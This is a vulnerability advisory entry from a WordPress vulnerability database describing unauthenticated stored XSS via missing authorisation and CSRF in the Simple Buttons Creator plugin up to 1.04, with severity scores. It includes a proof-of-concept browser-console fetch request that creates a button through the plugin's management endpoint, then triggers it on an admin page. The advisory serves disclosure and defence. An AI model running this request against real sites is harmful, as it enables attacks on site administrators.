Lucene search

K
wpvulndbBob MatyasWPVDB-ID:B7A35C5B-474A-444A-85EE-C50782C7A6C2
HistoryMar 25, 2024 - 12:00 a.m.

Simple Buttons Creator <= 1.04 - Unauthenticated Stored XSS

2024-03-2500:00:00
Bob Matyas
wpscan.com
3
unauthenticated users
csrf attacks
stored xss

8.3 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.0%

Description The plugin does not have any authorisation as well as CSRF in its add button function, allowing unauthenticated users to call them either directly or via CSRF attacks. Furthermore, due to the lack of sanitisation and escaping, it could also allow them to perform Stored Cross-Site Scripting attacks against logged in admins.

PoC

As a non-logged in visitor, run the following in the browser console (replace &lt;&gt; with any number): fetch("/wp-content/plugins/simple-buttons-creator/bt-manage.php?page=sbc-new&amp;method;=post", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": 'button_id=&lt;&gt;&amp;bt;_name=CSRF909&amp;bt;_text=CSRF&amp;bt;_link=CSRF&amp;bt;_bg_color=CSRF&amp;bt;_txt_color=CSRF&amp;bt;_font_size=&amp;bt;_border_radius=&amp;bt;_css=', "credentials": "include" }).then(response =&gt; response.text()) .then(data =&gt; console.log(data)); As an admin, go to: https://example.com/wp-admin/admin.php?page=simple-buttons&amp;method;=edit&amp;id;=&lt;&gt; and see the XSS.

8.3 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.0%

Related for WPVDB-ID:B7A35C5B-474A-444A-85EE-C50782C7A6C2